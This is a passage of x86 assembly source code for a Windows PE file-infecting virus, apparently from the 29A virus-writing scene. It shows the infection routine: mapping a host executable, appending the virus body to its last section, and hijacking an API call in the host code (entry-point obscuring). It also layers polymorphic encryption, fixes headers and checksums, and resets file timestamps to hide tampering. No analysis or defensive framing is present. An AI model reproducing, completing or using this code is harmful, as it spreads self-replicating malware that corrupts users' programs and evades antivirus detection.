;============================================================
|
|
;Save RVA of last section
|
|
;============================================================
|
|
|
|
mov eax,edi
|
|
sub eax,ebx
|
|
mov dword ptr [ebp+virus_sh],eax
|
|
|
|
;============================================================
|
|
;This is an attempt to avoid offending PE file formats
|
|
;============================================================
|
|
|
|
mov eax,dword ptr [edi+SH_PointerToRawData]
|
|
add eax,dword ptr [edi+SH_SizeOfRawData]
|
|
add eax,dword ptr [esi+OH_FileAlignment]
|
|
cmp eax,dword ptr [ebp+FileSizeOnDisk]
|
|
jb inf_close_file
|
|
|
|
;============================================================
|
|
;Save a pointer to imports
|
|
;============================================================
|
|
|
|
mov eax,dword ptr [esi+ \
|
|
OH_DataDirectory+ \
|
|
DE_Import+ \
|
|
DD_VirtualAddress]
|
|
|
|
mov dword ptr [ebp+FileImport],eax
|
|
|
|
;============================================================
|
|
;Go to relocations
|
|
;============================================================
|
|
|
|
mov eax,dword ptr [esi+ \
|
|
OH_DataDirectory+ \
|
|
DE_BaseReloc+ \
|
|
DD_VirtualAddress]
|
|
or eax,eax
|
|
jz cant_overwrite
|
|
|
|
;============================================================
|
|
;Relocations section is the last section?
|
|
;============================================================
|
|
|
|
sub eax,dword ptr [edi+SH_VirtualAddress]
|
|
jz got_vir_offset
|
|
|
|
;============================================================
|
|
;We cant overwrite relocations...
|
|
;...lets attach the virus to the end of last section
|
|
;============================================================
|
|
|
|
cant_overwrite: mov eax,dword ptr [edi+SH_SizeOfRawData]
|
|
mov edx,dword ptr [edi+SH_VirtualSize]
|
|
cmp eax,edx
|
|
jae got_vir_offset
|
|
mov eax,edx
|
|
|
|
got_vir_offset: add eax,dword ptr [edi+SH_PointerToRawData]
|
|
mov dword ptr [ebp+vir_offset],eax
|
|
|
|
;============================================================
|
|
;Search inside host code...
|
|
;============================================================
|
|
|
|
@SEH_SetupFrame <SEH_Block_0001>
|
|
xor ecx,ecx
|
|
pushad
|
|
|
|
call DoEPO
|
|
mov dword ptr [esp+Pushad_ecx],ecx
|
|
|
|
Ape_err: popad
|
|
@SEH_RemoveFrame
|
|
|
|
jecxz inf_close_file
|
|
mov dword ptr [ebp+inject_offs],ecx
|
|
|
|
;============================================================
|
|
;Close file...
|
|
;============================================================
|
|
|
|
call FileUnmapRO
|
|
|
|
;============================================================
|
|
;...and remap with oversize
|
|
;============================================================
|
|
|
|
call FileMapRW
|
|
or eax,eax
|
|
jz inf_file_err
|
|
|
|
add dword ptr [ebp+virus_sh],eax
|
|
mov ebx,eax
|
|
|
|
;============================================================
|
|
;Move virus to file
|
|
;============================================================
|
|
|
|
lea esi,dword ptr [ebp+viro_sys]
|
|
mov edi,dword ptr [ebp+vir_offset]
|
|
add edi,ebx
|
|
|
|
push edi
|
|
|
|
mov ecx,inf_size
|
|
cld
|
|
rep movsb
|
|
|
|
;============================================================
|
|
;Save original code
|
|
;============================================================
|
|
|
|
mov esi,dword ptr [ebp+inject_offs]
|
|
add esi,ebx
|
|
|
|
pop edi
|
|
push edi
|
|
|
|
add edi,org_code-viro_sys
|
|
cld
|
|
movsb
|
|
movsd
|
|
|
|
;============================================================
|
|
;Save some registers on 1st decryptor
|
|
;============================================================
|
|
|
|
mov ecx,00000004h
|
|
push ecx
|
|
|
|
lea edi,dword ptr [ebp+TblStdPshP]
|
|
cld
|
|
CleanStdLoop: mov eax,00000004h
|
|
sub eax,ecx
|
|
stosd
|
|
loop CleanStdLoop
|
|
|
|
pop ecx
|
|
push ecx
|
|
|
|
lea edi,dword ptr [ebp+PshPStepIndex]
|
|
GenTblStdLoop: mov eax,00000004h
|
|
call get_rnd_range
|
|
lea esi,dword ptr [ebp+TblStdPshP+eax*04h]
|
|
lodsd
|
|
cmp eax,0FFFFFFFFh
|
|
jz GenTblStdLoop
|
|
stosd
|
|
mov dword ptr [esi-00000004h],0FFFFFFFFh
|
|
loop GenTblStdLoop
|
|
|
|
pop ecx
|
|
|
|
lea esi,dword ptr [ebp+PshPStepIndex]
|
|
|
|
pop edi
|
|
push edi
|
|
|
|
add edi,TblDoPolyPops-viro_sys
|
|
|
|
DoPolyPopsLoop: lodsd
|
|
lea edx,dword ptr [ebp+eax+TblDoPop]
|
|
mov al,byte ptr [edx]
|
|
stosb
|
|
loop DoPolyPopsLoop
|
|
|
|
;============================================================
|
|
;Prepare first decryptor mark
|
|
;============================================================
|
|
|
|
mov byte ptr [ebp+IsFirst],cl
|
|
|
|
;============================================================
|
|
;Initialize size of all decryptors
|
|
;============================================================
|
|
|
|
mov dword ptr [ebp+decryptor_size],ecx
|
|
|
|
;============================================================
|
|
;Get CRC32 of main virus body and save it for l8r use
|
|
;============================================================
|
|
|
|
pop esi
|
|
push esi
|
|
|
|
add esi,CRC_protected-viro_sys
|
|
|
|
mov ecx,SizeOfProtect
|
|
call get_crc32
|
|
|
|
pop edi
|
|
|
|
mov dword ptr [edi+ViralChecksum-viro_sys],edx
|
|
|
|
;============================================================
|
|
;Generate polymorphic encryption
|
|
;============================================================
|
|
|
|
add edi,inf_size
|
|
|
|
mov edx,dword ptr [ebp+vir_offset]
|
|
mov eax,NUMBER_OF_POLY_LAYERS
|
|
call get_rnd_range
|
|
inc eax
|
|
inc eax
|
|
mov ecx,eax
|
|
|
|
each_layer: push ecx
|
|
cmp ecx,00000001h
|
|
jne Set1stFlag
|
|
mov dword ptr [ebp+IsFirst],0FFh
|
|
Set1stFlag: mov ecx,dword ptr [ebp+decryptor_size]
|
|
add ecx,inf_size
|
|
mov esi,dword ptr [ebp+vir_offset]
|
|
call Mutate
|
|
add dword ptr [ebp+decryptor_size],ecx
|
|
pop ecx
|
|
loop each_layer
|
|
|
|
;============================================================
|
|
;Insert a call to virus code over the api call
|
|
;============================================================
|
|
|
|
mov edi,dword ptr [ebp+inject_offs]
|
|
add edi,ebx
|
|
mov al,0E8h
|
|
stosb
|
|
push edi
|
|
|
|
;============================================================
|
|
;Calculate the CALL displacement
|
|
;============================================================
|
|
|
|
call get_code_sh
|
|
|
|
mov eax,dword ptr [esi+OH_FileAlignment]
|
|
mov dword ptr [ebp+raw_align],eax
|
|
|
|
mov eax,dword ptr [ebp+inject_offs]
|
|
sub eax,dword ptr [edi+SH_PointerToRawData]
|
|
add eax,dword ptr [edi+SH_VirtualAddress]
|
|
push eax
|
|
|
|
mov eax,dword ptr [ebp+entry_point]
|
|
sub eax,00000005h
|
|
sub eax,ebx
|
|
|
|
mov edi,dword ptr [ebp+virus_sh]
|
|
sub eax,dword ptr [edi+SH_PointerToRawData]
|
|
add eax,dword ptr [edi+SH_VirtualAddress]
|
|
|
|
pop edx
|
|
sub eax,edx
|
|
pop edi
|
|
stosd
|
|
|
|
mov edi,dword ptr [ebp+virus_sh]
|
|
|
|
;============================================================
|
|
;Set read/write access on virus section
|
|
;============================================================
|
|
|
|
or dword ptr [edi+SH_Characteristics], \
|
|
IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
|
|
|
|
;============================================================
|
|
;Dont share virus section
|
|
;============================================================
|
|
|
|
and dword ptr [edi+SH_Characteristics], \
|
|
not IMAGE_SCN_MEM_SHARED
|
|
|
|
;============================================================
|
|
;Update SizeOfRawData
|
|
;============================================================
|
|
|
|
mov eax,dword ptr [ebp+vir_offset]
|
|
add eax,dword ptr [ebp+decryptor_size]
|
|
add eax,inf_size
|
|
mov edx,dword ptr [edi+SH_PointerToRawData]
|
|
mov dword ptr [ebp+fix_size],edx
|
|
sub eax,edx
|
|
cmp eax,dword ptr [edi+SH_SizeOfRawData]
|
|
jbe RawSizeOk
|
|
|
|
;============================================================
|
|
;If we changed SizeOfRawData round up to nearest
|
|
;file alignment
|
|
;============================================================
|
|
|
|
xor edx,edx
|
|
mov ecx,dword ptr [ebp+raw_align]
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov edx,dword ptr [edi+SH_SizeOfRawData]
|
|
mov dword ptr [edi+SH_SizeOfRawData],eax
|
|
sub eax,edx
|
|
|
|
test dword ptr [edi+SH_Characteristics], \
|
|
IMAGE_SCN_CNT_INITIALIZED_DATA
|
|
jz RawSizeOk
|
|
add dword ptr [esi+OH_SizeOfInitializedData],eax
|
|
|
|
;============================================================
|
|
;Update VirtualSize
|
|
;============================================================
|
|
|
|
RawSizeOk: mov eax,dword ptr [edi+SH_SizeOfRawData]
|
|
add dword ptr [ebp+fix_size],eax
|
|
add eax,size_virtual-inf_size
|
|
cmp eax,dword ptr [edi+SH_VirtualSize]
|
|
jbe VirtualSizeOk
|
|
|
|
mov dword ptr [edi+SH_VirtualSize],eax
|
|
|
|
;============================================================
|
|
;Update SizeOfImage
|
|
;============================================================
|
|
|
|
VirtualSizeOk: mov eax,dword ptr [edi+SH_VirtualAddress]
|
|
add eax,dword ptr [edi+SH_VirtualSize]
|
|
xor edx,edx
|
|
mov ecx,dword ptr [esi+OH_SectionAlignment]
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov dword ptr [esi+OH_SizeOfImage],eax
|
|
|
|
;============================================================
|
|
;Find any data directory entry pointing to last section
|
|
;============================================================
|
|
|
|
mov ecx,IMAGE_NUMBEROF_DIRECTORY_ENTRIES
|
|
lea edx,dword ptr [esi+OH_DataDirectory]
|
|
FDataPtr2Last: mov eax,dword ptr [edx]
|
|
cmp eax,dword ptr [edi+SH_VirtualAddress]
|
|
jne NextFDataPtr
|
|
|
|
mov eax,dword ptr [edi+SH_VirtualSize]
|
|
mov dword ptr [edx+00000004h],eax
|
|
jmp short DoneFDataPtr
|
|
|
|
NextFDataPtr: add edx,00000008h
|
|
loop FDataPtr2Last
|
|
|
|
;============================================================
|
|
;Clear BASE RELOCATION field
|
|
;============================================================
|
|
|
|
DoneFDataPtr: xor eax,eax
|
|
lea edi,dword ptr [esi+ \
|
|
OH_DataDirectory+ \
|
|
DE_BaseReloc+ \
|
|
DD_VirtualAddress]
|
|
cld
|
|
stosd
|
|
stosd
|
|
|
|
;============================================================
|
|
;Compute new file checksum and update it on PE header
|
|
;============================================================
|
|
|
|
mov eax,dword ptr [ebp+fix_size]
|
|
mov ecx,SIZE_PADDING
|
|
xor edx,edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
push eax
|
|
|
|
cmp dword ptr [ebp+hIMGHLP],00000000h
|
|
jz NoChecksum
|
|
|
|
mov byte ptr [ebx+eax],00h
|
|
|
|
mov edx,eax
|
|
lea esi,dword ptr [ebp+ChecksumPE]
|
|
push esi ; CheckSum
|
|
lodsd
|
|
push esi ; HeaderSum
|
|
push edx ; FileLength
|
|
push ebx
|
|
|
|
call dword ptr [ebp+a_CheckSumMappedFile]
|
|
or eax,eax
|
|
jz NoChecksum
|
|
cmp dword ptr [esi],00000000h
|
|
jz NoChecksum
|
|
|
|
mov edx,dword ptr [esi-00000004h]
|
|
mov dword ptr [eax+ \
|
|
NT_OptionalHeader.OH_CheckSum],edx
|
|
|
|
;============================================================
|
|
;Mark file as infected and optimize file size
|
|
;============================================================
|
|
|
|
NoChecksum: pop eax
|
|
mov dword ptr [ebp+FatSize],eax
|
|
call FileUnmapRW
|
|
ret
|
|
|
|
;============================================================
|
|
;Close file mapping
|
|
;============================================================
|
|
|
|
inf_close_file: call FileUnmapRO
|
|
inf_file_err: ret
|
|
|
|
;============================================================================
|
|
;Scan host code
|
|
;
|
|
;On entry:
|
|
; ebx -> Memory image base address
|
|
;Exit:
|
|
; ecx -> Inject point offset in file
|
|
; or NULL if error
|
|
;============================================================================
|
|
|
|
DoEPO: mov edx,dword ptr [ebp+FileImport]
|
|
call RVA2RAW
|
|
mov dword ptr [ebp+ImportSH],edi
|
|
|
|
call get_code_sh
|
|
jecxz ExitApe
|
|
|
|
mov eax,dword ptr [esi+OH_ImageBase]
|
|
mov dword ptr [ebp+host_base],eax
|
|
|
|
sub edx,dword ptr [edi+SH_VirtualAddress]
|
|
|
|
mov ecx,dword ptr [edi+SH_SizeOfRawData]
|
|
sub ecx,edx
|
|
|
|
add edx,dword ptr [edi+SH_PointerToRawData] ;Entry-point RAW
|
|
|
|
lea esi,dword ptr [ebx+edx]
|
|
|
|
search_call: push ecx
|
|
xor eax,eax
|
|
|
|
lodsb
|
|
cmp al,0E8h ;Api call generated by Borland Linker?
|
|
je try_borland
|
|
|
|
cmp al,0FFh ;Api call generated by Microsoft Linker?
|
|
je try_microsoft
|
|
|
|
err_api_call: pop ecx
|
|
loop search_call
|
|
ExitApe: ret
|
|
|
|
try_borland: mov eax,esi
|
|
add eax,dword ptr [esi] ;Go to refered address
|
|
sub eax,ebx ;Convert to rva
|
|
|
|
mov edx,dword ptr [edi+SH_VirtualAddress]
|
|
cmp eax,edx
|
|
jb err_api_call ;Below code?
|
|
|
|
add edx,dword ptr [edi+SH_VirtualSize]
|
|
cmp eax,edx
|
|
jae err_api_call ;Above code?
|
|
|
|
cmp word ptr [eax+ebx-00000002h],25FFh ;JMP DWORD PTR [xxxx]
|
|
jne err_api_call
|
|
|
|
push dword ptr [eax+ebx]
|
|
pop eax
|
|
sub eax,dword ptr [ebp+host_base] ;Get a RVA again
|
|
|
|
mov edx,dword ptr [ebp+ImportSH]
|
|
mov ecx,dword ptr [edx+SH_VirtualAddress]
|
|
cmp eax,ecx
|
|
jb err_api_call ;Below imports?
|
|
|
|
add ecx,dword ptr [edx+SH_VirtualSize]
|
|
cmp eax,ecx
|
|
jae err_api_call ;Above imports?
|
|
|
|
sub eax,dword ptr [edx+SH_VirtualAddress]
|
|
add eax,dword ptr [edx+SH_PointerToRawData]
|
|
|
|
push dword ptr [eax+ebx]
|
|
pop eax
|
|
|
|
mov edx,dword ptr [ebp+ImportSH]
|
|
mov ecx,dword ptr [edx+SH_VirtualAddress]
|
|
cmp eax,ecx
|
|
jb err_api_call ;Below imports?
|
|
|
|
add ecx,dword ptr [edx+SH_VirtualSize]
|
|
cmp eax,ecx
|
|
jae err_api_call ;Above imports?
|
|
|
|
found_place: ;Use this point? or better continue the search?
|
|
|
|
call get_rnd_range
|
|
test eax,01h
|
|
jz err_api_call
|
|
|
|
pop eax
|
|
mov ecx,esi
|
|
dec ecx
|
|
sub ecx,ebx
|
|
|
|
ret
|
|
|
|
try_microsoft: cmp byte ptr [esi],15h
|
|
jne err_api_call
|
|
mov eax,dword ptr [esi+00000001h]
|
|
sub eax,dword ptr [ebp+host_base]
|
|
|
|
mov edx,dword ptr [ebp+ImportSH]
|
|
mov ecx,dword ptr [edx+SH_VirtualAddress]
|
|
cmp eax,ecx
|
|
jb err_api_call ;Below imports?
|
|
|
|
add ecx,dword ptr [edx+SH_VirtualSize]
|
|
cmp eax,ecx
|
|
jae err_api_call ;Above imports?
|
|
|
|
sub eax,dword ptr [edx+SH_VirtualAddress]
|
|
add eax,dword ptr [edx+SH_PointerToRawData]
|
|
push dword ptr [eax+ebx]
|
|
pop eax
|
|
|
|
;If file is binded eax contains the address of the API
|
|
;Lets check if eax points to a KERNEL32 API
|
|
|
|
cmp eax,dword ptr [ebp+K32CodeStart]
|
|
jb inside_import
|
|
cmp eax,dword ptr [ebp+K32CodeEnd]
|
|
jb found_place
|
|
|
|
inside_import: mov edx,dword ptr [ebp+ImportSH]
|
|
mov ecx,dword ptr [edx+SH_VirtualAddress]
|
|
cmp eax,ecx
|
|
jb err_api_call ;Below imports?
|
|
|
|
add ecx,dword ptr [edx+SH_VirtualSize]
|
|
cmp eax,ecx
|
|
jae err_api_call ;Above imports?
|
|
|
|
jmp found_place
|
|
|
|
;============================================================================
|
|
;SEH handling routines coded by Jacky Qwerty / 29A
|
|
;============================================================================
|
|
|
|
SEH_Frame: sub edx,edx
|
|
push dword ptr fs:[edx]
|
|
mov fs:[edx],esp
|
|
jmp [esp.(02h*Pshd).RetAddr]
|
|
|
|
SEH_RemoveFrame:push 00000000h
|
|
pop edx
|
|
pop dword ptr [esp.(02h*Pshd).RetAddr]
|
|
pop dword ptr fs:[edx]
|
|
pop edx
|
|
ret (Pshd)
|
|
|
|
SEH_SetupFrame: call SEH_Frame
|
|
mov eax,[esp.EH_ExceptionRecord]
|
|
test byte ptr [eax.ER_ExceptionFlags], \
|
|
EH_UNWINDING or EH_EXIT_UNWIND
|
|
mov eax,dword ptr [eax.ER_ExceptionCode]
|
|
jnz SEH_Search
|
|
add eax,-EXCEPTION_ACCESS_VIOLATION
|
|
jnz SEH_Search
|
|
mov esp,dword ptr [esp.EH_EstablisherFrame]
|
|
mov dword ptr fs:[eax],esp
|
|
jmp dword ptr [esp.(02h*Pshd).Arg1]
|
|
SEH_Search: xor eax,eax
|
|
ret
|
|
|
|
;============================================================================
|
|
;FileMapRO open and map a file for read-only access
|
|
;
|
|
;On entry:
|
|
; BufStrFilename -> Buffer filled with path + filename
|
|
;Exit:
|
|
; eax -> Base address of memory map for file or null if error
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;GetFileAttributes
|
|
;============================================================
|
|
|
|
FileMapRO: lea esi,dword ptr [ebp+BufStrFilename]
|
|
push esi ; lpFileName
|
|
|
|
call dword ptr [ebp+a_GetFileAttributesA]
|
|
cmp eax,0FFFFFFFFh
|
|
jne FileGetAttrOk
|
|
|
|
FileGetAttrErr: xor eax,eax
|
|
ret
|
|
|
|
;============================================================
|
|
;CreateFile ( GENERIC_READ )
|
|
;============================================================
|
|
|
|
FileGetAttrOk: mov dword ptr [ebp+CurFileAttr],eax
|
|
xor edi,edi
|
|
|
|
push edi ; hTemplateFile
|
|
push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
|
|
push OPEN_EXISTING ; dwCreationDisposition
|
|
push edi ; lpSecurityAttributes
|
|
push edi ; dwShareMode
|
|
push GENERIC_READ ; dwDesiredAccess
|
|
push esi ; lpFileName
|
|
|
|
call dword ptr [ebp+a_CreateFileA]
|
|
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
je FileGetAttrErr
|
|
|
|
;============================================================
|
|
;CreateFileMapping ( PAGE_READONLY )
|
|
;============================================================
|
|
|
|
mov dword ptr [ebp+h_CreateFile],eax
|
|
|
|
push edi ; lpName
|
|
push edi ; dwMaximumSizeLow
|
|
push edi ; dwMaximumSizeHigh
|
|
push PAGE_READONLY ; flProtect
|
|
push edi ; lpFileMappingAttributes
|
|
push dword ptr [ebp+h_CreateFile] ; hFile
|
|
|
|
call dword ptr [ebp+a_CreateFileMappingA]
|
|
or eax,eax
|
|
jnz OkFileMappingRO
|
|
|
|
ErrFileMapRO: push dword ptr [ebp+h_CreateFile]
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
|
|
jmp FileGetAttrErr
|
|
|
|
;============================================================
|
|
;MapViewOfFile
|
|
;============================================================
|
|
|
|
OkFileMappingRO:mov dword ptr [ebp+h_FileMap],eax
|
|
|
|
push edi ; dwNumberOfBytesToMap
|
|
push edi ; dwFileOffsetLow
|
|
push edi ; dwFileOffsetHigh
|
|
push FILE_MAP_READ ; dwDesiredAccess
|
|
push eax ; hFileMappingObject
|
|
|
|
call dword ptr [ebp+a_MapViewOfFile]
|
|
or eax,eax
|
|
jnz FileViewOkRO
|
|
|
|
FileViewErrorRO:push dword ptr [ebp+h_FileMap]
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
|
|
jmp ErrFileMapRO
|
|
|
|
;============================================================
|
|
;Ready!
|
|
;============================================================
|
|
|
|
FileViewOkRO: mov dword ptr [ebp+map_is_here],eax
|
|
ret
|
|
|
|
;============================================================
|
|
;UnmapRO
|
|
;============================================================
|
|
|
|
FileUnmapRO: push ebx
|
|
call dword ptr [ebp+a_UnmapViewOfFile]
|
|
jmp FileViewErrorRO
|
|
|
|
;============================================================================
|
|
;FileMapRW open and map a file for read and write access
|
|
;
|
|
;On entry:
|
|
; BufStrFilename -> Buffer filled with path + filename
|
|
;Exit:
|
|
; eax -> Base address of memory map for file or null if error
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
;Calculate size of infected file
|
|
;============================================================
|
|
|
|
FileMapRW: mov eax,dword ptr [ebp+vir_offset]
|
|
add eax,( size_virtual * 02h ) + \
|
|
( NUMBER_OF_POLY_LAYERS * 00004000h )
|
|
|
|
mov ecx,SIZE_PADDING
|
|
xor edx,edx
|
|
div ecx
|
|
inc eax
|
|
mul ecx
|
|
mov dword ptr [ebp+FatSize],eax
|
|
|
|
;============================================================
|
|
;SetFileAttributes
|
|
;============================================================
|
|
|
|
lea esi,dword ptr [ebp+BufStrFilename]
|
|
|
|
push FILE_ATTRIBUTE_NORMAL ; dwFileAttributes
|
|
push esi ; lpFileName
|
|
|
|
call dword ptr [ebp+a_SetFileAttributesA]
|
|
or eax,eax
|
|
jnz FileSetAttrOk
|
|
|
|
FileSetAttrErr: xor eax,eax
|
|
ret
|
|
|
|
;============================================================
|
|
;CreateFile ( GENERIC_READ or GENERIC_WRITE )
|
|
;============================================================
|
|
|
|
FileSetAttrOk: xor edi,edi
|
|
mov dword ptr [ebp+map_is_here],edi
|
|
|
|
push edi ; hTemplateFile
|
|
push FILE_ATTRIBUTE_NORMAL ; dwFlagsAndAttributes
|
|
push OPEN_EXISTING ; dwCreationDisposition
|
|
push edi ; lpSecurityAttributes
|
|
push edi ; dwShareMode
|
|
push GENERIC_READ or GENERIC_WRITE ; dwDesiredAccess
|
|
push esi ; lpFileName
|
|
|
|
call dword ptr [ebp+a_CreateFileA]
|
|
cmp eax,INVALID_HANDLE_VALUE
|
|
jne FileOpenOkRW
|
|
|
|
FileOpenErrorRW:lea esi,dword ptr [ebp+BufStrFilename] ; Need for reverse!
|
|
|
|
push dword ptr [ebp+CurFileAttr] ; dwFileAttributes
|
|
push esi ; lpFileName
|
|
call dword ptr [ebp+a_SetFileAttributesA]
|
|
|
|
jmp FileSetAttrErr
|
|
|
|
;============================================================
|
|
;CreateFileMapping ( PAGE_READWRITE )
|
|
;============================================================
|
|
|
|
FileOpenOkRW: mov dword ptr [ebp+h_CreateFile],eax
|
|
|
|
push edi ; lpName
|
|
push dword ptr [ebp+FatSize] ; dwMaximumSizeLow
|
|
push edi ; dwMaximumSizeHigh
|
|
push PAGE_READWRITE ; flProtect
|
|
push edi ; lpFileMappingAttributes
|
|
push eax ; hFile
|
|
|
|
call dword ptr [ebp+a_CreateFileMappingA]
|
|
or eax,eax
|
|
jnz FileMapOkRW
|
|
|
|
FileMapErrorRW: cmp dword ptr [ebp+map_is_here],edi
|
|
jz FileSizeIsOk
|
|
|
|
mov esi,dword ptr [ebp+h_CreateFile]
|
|
xor eax,eax
|
|
|
|
push eax ; dwMoveMethod
|
|
push eax ; lpDistanceToMoveHigh
|
|
push dword ptr [ebp+FatSize] ; lDistanceToMove
|
|
push esi ; hFile
|
|
|
|
call dword ptr [ebp+a_SetFilePointer]
|
|
cmp eax,0FFFFFFFFh
|
|
je FileSizeIsOk
|
|
|
|
push esi ; hFile
|
|
call dword ptr [ebp+a_SetEndOfFile]
|
|
|
|
lea edx,dword ptr [ebp+FT_LastWriteTime]
|
|
push edx
|
|
sub edx,00000008h
|
|
push edx
|
|
sub edx,00000008h
|
|
push edx
|
|
push esi
|
|
|
|
call dword ptr [ebp+a_SetFileTime]
|
|
|
|
FileSizeIsOk: push dword ptr [ebp+h_CreateFile]
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
|
|
jmp FileOpenErrorRW
|
|
|
|
;============================================================
|
|
;MapViewOfFile
|
|
;============================================================
|
|
|
|
FileMapOkRW: mov dword ptr [ebp+h_FileMap],eax
|
|
|
|
push dword ptr [ebp+FatSize] ; dwNumberOfBytesToMap
|
|
push edi ; dwFileOffsetLow
|
|
push edi ; dwFileOffsetHigh
|
|
push FILE_MAP_WRITE ; dwDesiredAccess
|
|
push eax ; hFileMappingObject
|
|
|
|
call dword ptr [ebp+a_MapViewOfFile]
|
|
or eax,eax
|
|
jnz FileViewOkRW
|
|
|
|
FileViewErrorRW:push dword ptr [ebp+h_FileMap]
|
|
call dword ptr [ebp+a_CloseHandle]
|
|
jmp FileMapErrorRW
|
|
|
|
FileViewOkRW: mov dword ptr [ebp+map_is_here],eax
|
|
ret
|
|
|
|
;============================================================
|
|
;UnmapRW
|
|
;============================================================
|
|
|
|
FileUnmapRW: push ebx
|
|
call dword ptr [ebp+a_UnmapViewOfFile]
|
|
jmp FileViewErrorRW
|
|
|
|
;============================================================================
|
|
;Convert RVA to RAW
|
|
;
|
|
;On entry:
|
|
; ebx -> Host base address
|
|
; edx -> RVA to convert
|
|
;On exit:
|
|
; ecx -> Pointer to RAW data or NULL if error
|
|
; edx -> Section delta offset
|
|
; esi -> Pointer to IMAGE_OPTIONAL_HEADER
|
|
; edi -> Pointer to section header
|
|
;============================================================================
|
|
|
|
RVA2RAW: cld
|
|
mov dword ptr [ebp+search_raw],edx
|
|
mov esi,dword ptr [ebx+MZ_lfanew]
|
|
add esi,ebx
|
|
lodsd
|
|
movzx ecx,word ptr [esi+FH_NumberOfSections]
|
|
jecxz err_RVA2RAW
|
|
movzx edi,word ptr [esi+FH_SizeOfOptionalHeader]
|
|
add esi,IMAGE_SIZEOF_FILE_HEADER
|
|
add edi,esi
|
|
|
|
;============================================================
|
|
;Get the IMAGE_SECTION_HEADER that contains RVA
|
|
;
|
|
;At this point:
|
|
;
|
|
;ebx -> File base address
|
|
;esi -> Pointer to IMAGE_OPTIONAL_HEADER
|
|
;edi -> Pointer to first section header
|
|
;ecx -> Number of sections
|
|
;
|
|
;Check if address of imports directory is inside this
|
|
;section
|
|
;============================================================
|
|
|
|
|
|
s_img_section: mov eax,dword ptr [ebp+search_raw]
|
|
mov edx,dword ptr [edi+SH_VirtualAddress]
|
|
sub eax,edx
|
|
cmp eax,dword ptr [edi+SH_VirtualSize]
|
|
jb section_ok
|
|
|
|
;============================================================
|
|
;Go to next section header
|
|
;============================================================
|
|
|
|
out_of_section: add edi,IMAGE_SIZEOF_SECTION_HEADER
|
|
loop s_img_section
|
|
err_RVA2RAW: ret
|
|
|
|
;============================================================
|
|
;Get raw
|
|
;============================================================
|
|
|
|
section_ok: mov ecx,dword ptr [edi+SH_PointerToRawData]
|
|
sub edx,ecx
|
|
add ecx,eax
|
|
add ecx,ebx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Get code section header and entry-point information
|
|
;
|
|
;On entry:
|
|
; ebx -> Host base address
|
|
;On exit:
|
|
; ecx -> Pointer to RAW data or NULL if error
|
|
; edx -> Entry-point RVA
|
|
; esi -> Pointer to IMAGE_OPTIONAL_HEADER
|
|
; edi -> Pointer to section header
|
|
;============================================================================
|
|
|
|
get_code_sh: call get_last_sh
|
|
mov edx,dword ptr [esi+OH_AddressOfEntryPoint]
|
|
push edx
|
|
call RVA2RAW
|
|
pop edx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Get pointer to last section header
|
|
;
|
|
;On entry:
|
|
; ebx -> Host base address
|
|
;On exit:
|
|
; esi -> IMAGE_OPTIONAL_HEADER
|
|
; edi -> Pointer to last section header
|
|
;============================================================================
|
|
|
|
get_last_sh: push ecx
|
|
mov esi,dword ptr [ebx+MZ_lfanew]
|
|
add esi,ebx
|
|
cld
|
|
lodsd
|
|
movzx ecx,word ptr [esi+FH_NumberOfSections]
|
|
dec ecx
|
|
mov eax,IMAGE_SIZEOF_SECTION_HEADER
|
|
mul ecx
|
|
movzx edx,word ptr [esi+FH_SizeOfOptionalHeader]
|
|
add esi,IMAGE_SIZEOF_FILE_HEADER
|
|
add eax,edx
|
|
add eax,esi
|
|
mov edi,eax
|
|
pop ecx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate data area suitable for memory write access
|
|
;
|
|
; edi -> Base address
|
|
; ecx -> Size
|
|
;============================================================================
|
|
|
|
gen_data_area: push eax
|
|
push edx
|
|
|
|
movzx eax,byte ptr [ebp+NumberOfDataAreas]
|
|
cmp eax,NUM_DA
|
|
jae no_more_da
|
|
|
|
lea edx,dword ptr [ebp+tbl_data_area+eax*08h]
|
|
|
|
mov eax,edi
|
|
sub eax,dword ptr [ebp+map_is_here]
|
|
add eax,dword ptr [ebp+host_base]
|
|
|
|
push ecx
|
|
|
|
mov ecx,dword ptr [ebp+virus_sh]
|
|
sub eax,dword ptr [ecx+SH_PointerToRawData]
|
|
add eax,dword ptr [ecx+SH_VirtualAddress]
|
|
mov dword ptr [edx],eax
|
|
|
|
pop ecx
|
|
mov dword ptr [edx+00000004h],ecx
|
|
|
|
inc byte ptr [ebp+NumberOfDataAreas]
|
|
no_more_da: pop edx
|
|
pop eax
|
|
ret
|
|
|
|
;============================================================================
|
|
;Generate a block of random data
|
|
;============================================================================
|
|
|
|
gen_rnd_block: mov eax,0000000Ah
|
|
mov ecx,eax
|
|
call get_rnd_range
|
|
add ecx,eax
|
|
call gen_data_area
|
|
rnd_fill: mov eax,dword ptr [ebp+FileSizeOnDisk]
|
|
dec eax
|
|
sub eax,ecx
|
|
call get_rnd_range
|
|
add eax,dword ptr [ebp+map_is_here]
|
|
mov esi,eax
|
|
cld
|
|
rep movsb
|
|
ret
|
|
|
|
;============================================================================
|
|
;Linear congruent pseudorandom number generator
|
|
;============================================================================
|
|
|
|
get_rnd32: push ecx
|
|
push edx
|
|
mov eax,dword ptr [ebp+rnd32_seed]
|
|
mov ecx,41C64E6Dh
|
|
mul ecx
|
|
add eax,00003039h
|
|
and eax,7FFFFFFFh
|
|
mov dword ptr [ebp+rnd32_seed],eax
|
|
pop edx
|
|
pop ecx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Returns a random num between 0 and entry eax
|
|
;============================================================================
|
|
|
|
get_rnd_range: push ecx
|
|
push edx
|
|
mov ecx,eax
|
|
call get_rnd32
|
|
xor edx,edx
|
|
div ecx
|
|
mov eax,edx
|
|
pop edx
|
|
pop ecx
|
|
ret
|
|
|
|
;============================================================================
|
|
;Perform encryption
|
|
;============================================================================
|
|
|
|
;============================================================
|
|
